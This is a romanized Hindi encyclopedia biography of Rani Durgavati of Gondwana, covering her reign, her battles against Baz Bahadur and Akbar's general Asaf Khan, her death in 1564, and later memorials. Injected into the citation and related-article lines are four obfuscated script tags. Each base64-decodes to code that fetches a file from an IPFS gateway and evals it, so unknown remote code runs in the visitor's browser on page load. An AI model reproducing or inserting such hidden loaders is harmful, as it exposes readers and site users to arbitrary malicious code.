रानी दुर्गावती
rani durgavati
| |
| poora nam | rani durgavati |
| janm | 5 aktoobar, 1524 |
| janm bhoomi | baanda, uttar pradesh |
| mrityu | 24 joon, 1564 |
| mrityu sthan | achalapur, maharashtr |
| abhibhavak | raja kirtiraj |
| pati/patni | raja dalapatashah |
| karm bhoomi | bharat |
| prasiddhi | rani, viraangana |
| vishesh yogadan | rani durgavati ne anek mandir, math, kuean, bav di tatha dharmashalaean banavaeean. |
| nagarikata | bharatiy |
| dharm | hiandoo |
| any janakari | jabalapur mean sthit rani durgavati vishvavidyalay bhi inake nam par bana hai. rani durgavati ne apani dasi ke nam par 'cherital', apane nam par 'ranital' tatha apane vishvast divan adharasianh ke nam par 'adharatal' banavaya. |
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rani durgavati (aangrezi: Rani Durgawati, janm: 5 aktoobar, 1524 - mrityu: 24 joon, 1564) goandavana ki shasak thian, jo bharatiy itihas ki sarvadhik prasiddh raniyoan mean gini jati haian. durgavati ne 16 varsh tak jis kushalata se raj sanbhala, usaki prashasti itihasakaroan ne ki hai. aina-e-akabari mean abul fazal ne likha hai- "durgavati ke shasanakal mean goandavana itana suvyavasthit aur samriddh tha ki praja lagan ki adayagi svarnamudraoan aur hathiyoan se karati thi."
jivan parichay
viraangana maharani durgavati kalianjar ke raja kirtisianh chandel ki ekamatr santan thian. mahoba ke rath gaanv mean 1524 ee. ki durgashtami par janm ke karan unaka nam durgavati rakha gaya. nam ke anuroop hi tej, sahas, shaury aur sundarata ke karan inaki prasiddhi sab or phail gayi. durgavati ke mayake aur sasural paksh ki jati bhinn thi lekin phir bhi durgavati ki prasiddhi se prabhavit hokar raja sangram shah ne apane putr dalapatashah se vivah karake, use apani putravadhoo banaya tha. durbhagyavash vivah ke char varsh bad hi raja dalapatashah ka nidhan ho gaya. us samay durgavati ki god mean tin varshiy narayan hi tha. atah rani ne svayan hi gadhamandala ka shasan sanbhal liya. unhoanne anek mandir, math, kuean, bav di tatha dharmashalaean banavaee. vartaman jabalapur unake rajy ka kendr tha. unhoanne apani dasi ke nam par cherital, apane nam par ranital tatha apane vishvast divan adharasianh ke nam par adharatal banavaya.[1]
shaury aur parakram ki devi
jhaansi ki rani lakshmibaee se rani durgavati ka shaury kisi bhi prakar se kam nahian raha hai, durgavati ke viratapoorn charitr ko lambe samay tak isalie dabaye rakha ki usane muslim shasakoan ke viruddh sangharsh kiya aur unhean anekoan bar parajit kiya. der se hi sahi magar aj ve tathy sampoorn vishv ke samane haian. dhany hai rani ka parakram jisane apane man samman, dharm ki raksha aur svatantrata ke lie yuddh bhoomi ko chuna aur anekoan bar shatruoan ko parajit karate hue balidan de diya.thumb|left|rani durgavati pratima
jan jan mean rani hi rani
vah tir thi,talavar thi,
bhaloan aur topoan ka var thi,
phuphakar thi, huankar thi,
shatru ka sanhar thi![2]
durgavati ka shasan
durgavati ne 16 varsh tak jis kushalata se raj sanbhala, usaki prashasti itihasakaroan ne ki. aina-e-akabari mean abul fazal ne likha hai, durgavati ke shasanakal mean goandavana itana suvyavasthit aur samriddh tha ki praja lagan ki adayagi svarnamudraoan aur hathiyoan se karati thian. mandala mean durgavati ke hathikhane mean un dinoan 1400 hathi the. malavaanchal shaant aur sanpann kshetr mana jata raha hai, par vahaan ka soobedar stri lolup bajabahadur, jo ki sirph roopamati se aankh l dane ke karan prasiddh hua hai, durgavati ki sanpada par aankhean g da baitha. pahale hi yuddh mean durgavati ne usake chhakke chhu da die aur usaka chacha phateha khaan yuddh mean mara gaya, par is par bhi bajabahadur ki chhati thandi nahian huee aur jab dubara usane rani durgavati par akraman kiya, to rani ne katangi-ghati ke yuddh mean usaki sena ko aisa rauanda ki bajabahadur ki poori sena ka saphaya ho gaya. phalat: durgavati samrajni ke roop mean sthapit hueean.[1]
akabar se sangharsh aur balidan
akabar ke kada manikapur ka soobedar khvaja abdul majid khaan jo asaf khaan ke nam se jana jata tha, ne rani durgavati ke viruddh akabar ko ukasaya, akabar any rajapoot gharanoan ki tarah durgavati ko bhi ranavase ki shobha banana chahata tha. rani durgavati ne apane dharm aur desh ki dridhata poorvak raksha ki or ranakshetr mean apana balidan 1564 mean kar diya, unaki mrityu ke pashchath unaka devar chandrashah shasak bana v usane mugaloan ki adhinata svikar kar li, jisaki hatya unhian ke putr madhukarashah ne kar di. akabar ko kar nahian chuka pane ke karan madhukar shah ke do putr premanarayan aur hadayesh shah bandhak the. madhukarashah ki mrityu ke pashchath 1617 mean premanarayanashah ko raja banaya gaya.
thar-thar dushman kaanpe,
pag-pag bhage atyachar,
naramundoan ki jhadi lagaee,
lashean bichhaee kee hajar,
jab vipada ghir aee chahuanor,
sine me khanjar liya utar.<ref name="JJB">
chauragadh ka jauhar
asaf khaan rani ki mrityu se baukhala gaya, vah unhean akabar ke darabar mean pesh karana chahata tha, usane rajadhani chauragadh (hal mean zila narasianhapur mean) par akraman kiya, rani ke putr raja viranarayan ne viratapoorvak yuddh karate hue viragati prapt ki, isake sath hi chauragadh mean pavitrata ko bachaye rakhane ka mahanh jauhar hua, jisamean hinduoan ke sath-sath muslim mahilaoan ne bhi jauhar ke agni kuand mean chhalaang laga di thi. kianvadantiyoan mean hai ki asaf khaan ne akabar ko khush karane ke liye do mahilaoan ko yah kahate hue bheant kiya ki ek raja viranarayan ki patni hai tatha doosari durgavati ki bahin kalavati hai. raja viranarayan ki patni ne jauhar ka netritv karate hue balidan kiya tha aur rani durgavati ki koee bahin thi hi nahian, ve ek matr santan thian. bad mean asaf khaan se akabar naraz bhi raha, magar meva d ke yuddh mean vah muslim ekata nahian to dana chahata tha.[2]
akabar aur durgavati
thumb|rani durgavati tathakathit mahanh mugal shasak akabar bhi rajy ko jitakar rani ko apane haram mean dalana chahata tha. usane vivad prarambh karane hetu rani ke priy saphed hathi (saraman) aur unake vishvast vajir adharasianh ko bheant ke roop mean apane pas bhejane ko kaha. rani ne yah maang thukara di. is par akabar ne apane ek rishtedar asaf khaan ke netritv mean goandavana par hamala kar diya. ek bar to asaf khaan parajit hua, par agali bar usane doguni sena aur taiyari ke sath hamala bola. durgavati ke pas us samay bahut kam sainik the. unhoanne jabalapur ke pas 'naree nale' ke kinare morcha lagaya tatha svayan purush vesh mean yuddh ka netritv kiya. is yuddh mean 3,000 mugal sainik mare gaye lekin rani ki bhi apar kshati huee thi. agale din 24 joon, 1564 ko mugal sena ne phir hamala bola. aj rani ka paksh durbal tha, atah rani ne apane putr narayan ko surakshit sthan par bhej diya. tabhi ek tir unaki bhuja mean laga, rani ne use nikal pheanka. doosare tir ne unaki aankh ko bedh diya, rani ne ise bhi nikala par usaki nok aankh mean hi rah gayi. tabhi tisara tir unaki gardan mean akar dhans gaya. rani ne aant samay nikat janakar vajir adharasianh se agrah kiya ki vah apani talavar se unaki gardan kat de, par vah isake lie taiyar nahian hua. atah rani apani katar svayan hi apane sine mean bhoankakar atm balidan ke path par badh gayian. maharani durgavati ne akabar ke senapati asaf khan se l dakar apani jan ganvane se pahale pandrah varshoan tak shasan kiya tha.[1]
samman
rani durgavati kirti stambh, rani durgavati par dakachitr, rani durgavati vishvavidyalay, rani durgavati abhyarany, rani durgavati sahayata yojana, rani durgavati sangrahalay evan memoriyal, rani durgavati mahila pulis bataliyan adi n jane kitani kirti aj bundelakhand se phailate hue sampoorn desh ko prakashit kar rahi hai.
chandeloan ki beti thi,
gauandavane ki rani thi,
chandi thi ranachandi thi,
vah durgavati bhavani thi.
svatantrata sangram ki mahanh mahila senani v "khoob ladi mardani vah to jhaansi vali rani thi" ki shauryagatha kavy ko likhane vali, viraras ki mahanh kaviyitri subhadra kumari chauhan ke ye shabd hi, advitiy shaury ka pradarshan karate hue amar balidan karane vali rani durgavati ki sachchi kahani kahate hue mahasoos hote haian.
naman kar raha hai.
sunoogian mata ki avaj,
rahooangian marane ko taiyar.
kabhi bhi is vedi par dev,
n hone dooangi atyachar.
matri mandir mean huee pukar,
chalo maian to ho jaooan balidan,
chadha do mujhako he bhagavan!![2]
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tika tippani aur sandarbh
bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 208 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 1.0 1.1 1.2 maharani durgavati (hiandi) Save Hinduism. abhigaman tithi: 24 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 shaury aur parakram ki shauryagatha rani durgavati (hiandi) jay jay bharat. abhigaman tithi: 24 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
- REDIRECT saancha:raniyaan aur maharaniyaan<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
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